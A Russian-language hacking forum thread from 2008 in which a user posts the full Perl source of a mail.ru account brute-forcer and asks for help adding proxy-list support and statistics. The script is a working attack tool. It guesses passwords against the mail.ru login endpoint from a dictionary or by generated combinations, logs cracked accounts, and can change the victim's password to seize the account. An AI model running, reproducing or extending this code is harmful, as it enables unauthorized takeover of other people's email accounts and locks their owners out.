Доработка брутера на perl

Discussion in 'PHP' started by Хозяин, 5 Mar 2008.

  1. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    В общем такая ситуация: в перле я ни бум бум, а нужно доработать скрипт брута mail.ru от genom-- (за скрипт ему отдельное спасибо))

    Нужно научить скрипт работать со списком прокси (с 1 он уже умеет работать + хоть какую-нибудь статистику по колличеству пробрученных адресов и колличеству сбрученных)

    С меня собственно куча + в репу, может еще чем помогу по возможности, я не жадный)

    Code:
    #!/usr/bin/perl
    ######################### genom-- mail bruter v 4.0 #####################
    #   							специально для antichat.ru 
    #   
    #   Приветы: +toxa+, gemaglabin, tclover, slider, nerezus, podkashey, friackazoid, A110ut, b00zy_c0d3r, k1b0rg, limpompo and other good boys & girls.
    #   привет и всем остальным кто ко мне хорошо относится -- а кто плохо вы сами знаете куда вам идти
    #
    #     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~NO SPloA<-->NO WorLD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #
    #		        Затеряный в бескрайних лесах белорусии секретный бункер №19753 .2007 год.
    #      Use:
    #  mail.pl brute - для символьного перебора
    #  mail.pl - для брута по словарю
    #  mail.pl wget http://somesute.com/dict.txt - для брута по словарю с его предварительной выкачкой самим скриптом
    # при выборе режима посимвольного перебора придется указать мин и максимальную длину пароля а также вручную 
    # выставить набор символов которые будут входить в генерируемые пароли
    ######################### genom-- mail bruter v 4.0 #######################
    
    use LWP::UserAgent;
    use HTTP::Cookies;
    use threads;
    use threads::shared;
    my $num : shared;
    my $dyndyk : shared;
    my $thepass : shared;
    
    print "\a\a\a\a########## GeNoM-- mail.ru bruter v 4.0 || icq^963202 ###############\n";
    
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new;
    $ua->timeout(60);
    $ua->max_size(64);
    $ua->agent('antichat shell v -197.0 - admin /\0X');
    $ua->cookie_jar($cookies);
    $ua->requests_redirectable(0);
    ################################ КОНФИГ ################################# 
    #     $proxy='127.0.0.1:8080';
    #     $ua->proxy('http'=>"http://$proxy");    # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так
    
    $threads=10;       # количество потоков
    $tclover=10;      # количество пасов отбручиваемых потоком
    $getpass=0;       # менять пароль 1,  неменять - 0
    $br=0;            # переменная флаг брута - установите в 1 если хотите чтобы всегда брутилось символьным перебором 
    
    @chr=('',1..5); # набор символов из которых будет генерироваться словарь - ВАЖНО первый символ не убирать
    ################################ КОНЕЦ ################################### 
    if(@ARGV[0] eq 'brute'){$br=1;}
    
    $time=localtime;
    print "Start brute in $time\n";
    
    ############# автоскачка файла с пассами
    if(@ARGV[0] eq 'wget'){
    $link328=@ARGV[1];
    print "Downloading passwd list->$link328\n";
    my $res = $ua->get($link328) or die "Can't download file.\n";
    open lodd,">pass.txt";
    binmode lodd;
    $slovo=$res->content;
    if($slovo=~/Not Found/){print "File not found.\n";exit;}
    if($slovo=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}  
    $slovo=~s/<[^>]+>//ig; # затераем теги на всякий случай.
    print lodd $slovo;
    close lodd;
    print "Downloading complite. File save as pass.txt.\n";
    }
    
    open(pass,"<pass.txt");
    while($sykaz=<pass>){$what_pass++;}
    close(pass);
    open(mails,"<mail.txt");
    while($sykaz=<mails>){$what_mail++;}
    close(mails);
    print"\n~~~~~  total mails:$what_mail and password:$what_pass  ~~~~~\n\n";
    open(mails,"<mail.txt");
    
    ############ prebrut
    if($br==1){
    @pas=(0,0,0,0,0,0,0,0,1); # массив символизирующий начальное положение счетчика
    
    print"Insert min length or press enter by 1->";
    $min=<STDIN>;
    chomp$min;
    if($min eq''){$min=1;}
    print"Insert max length->";
    $max=<STDIN>;
    chomp$max;
    foreach(@chr){$sum++;}
    foreach(@pas){$dll++;}
    
    # выставляем начально значение счетчика согласно мин длине пароля
    for ($i = $dll-1; $i >=$dll-$min; $i--) {
    @pas[$i]=1; }
    }
    ############
    while ($mails=<mails>) {
    print"Start brute mail->$mails\n";
    chomp $mails;
    ($login,$domain)=split(/\@/,$mails);
    
    open(pass,"<pass.txt") if $br==0;
    puk:
    if($br==1){
    for ($i2 = 0; $i2 < $tclover; $i2++) { 
    for ($i = $dll-1; $i >= 0; $i--) {
    if(@pas[$i]>($sum-1)){@pas[$i-1]++;
    @pas[$i]=@pas[$i]-($sum-1);}
    }
    @passwd[$i2]="@chr[@pas[0]]@chr[@pas[1]]@chr[@pas[2]]@chr[@pas[3]]@chr[@pas[4]]@chr[@pas[5]]@chr[@pas[6]]@chr[@pas[7]]@chr[@pas[8]]";
    if(@pas[$dll-1]==$sum){next;} # эта строчка исправляет небольшую колизию при составлении пароля
    @pas[$dll-1]++;
    if(length($str)>$max){print"\n\nMax lenght of password ....\n\n";goto(konec);}
    }
    }
    else{
    for ($i = 0; $i < $tclover; $i++) { 
    $password=<pass>;
    chomp $password;
    @passwd[$i]=$password;
    }}
    
    print"\nStart new thread with mail->$mails and password->@passwd[0]\n";
    open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg;
    threads->create(\&brut,@passwd);
    $num++;
    $got+=$tclover;
    sleep(1); 
    if($got >= $what_pass && $br==0){print"\n\nEnd of password list ....\n\n";goto(konec);}
    if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);}
    check:
    if($num < $threads){goto(puk)}
    else{sleep(1);goto(check);};
    konec:
    $got=0;
    foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше
    close(pass);
    $dyndyk=0;
    if($br==1){ # выставляем счетчик заново
    for ($ii = $dll; $ii >=0; $ii--) {@pas[$ii]=0;}
    for ($i = $dll-1; $i >=$dll-$min; $i--) {
    @pas[$i]=1; }
    }
    $time=localtime;
    print "Start brute in $time\n";
    }
    close(mails);
     
    sub brut {
    foreach $pyss(@_){
    next if($dyndyk==55);
    my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $login, 'Domain' => $domain, 'Password' => $pyss });
    
    if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}        
    if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n";
    if($getpass==1) {$pyss=new_pass($login,$domain,$pyss);};
    open brut, ">>brute-mail.txt";print brut "$login\@$domain->$pyss\n";close brut; 
    open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg;
    
    }   
    }
    $num--;
    }
    
    ############### получаем новый пасс
    sub new_pass{
    my ($log,$dom,$pass)=@_;
    
    my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $log, 'Domain' => $dom , 'Password' => $pass });
    my $newpass=randpass();
    my $res = $ua->post('http://win.mail.ru/cgi-bin/modifypass', {'modify' => 1, 'Username' => $log, 'oldPswd' => $pass, 'Password' => $newpass, 'Password_Verify' => $newpass });
    print "Get new pass ...[ok]\nNew password ->$newpass\n\n";
    return $newpass;
    }
    
    ########### генерим новый пароль
    sub randpass{
    my $rand;
    for (1..2){             
    $rand.=chr(rand(26)+65);
    $rand.=chr(rand(10)+48);
    $rand.=chr(rand(26)+97);
    }
    return $rand;
    }
     
    #1 Хозяин, 5 Mar 2008
    Last edited: 5 Mar 2008
  2. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    да пожалуйста )
     
    #2 genom--, 5 Mar 2008
    Last edited: 5 Mar 2008
    2 people like this.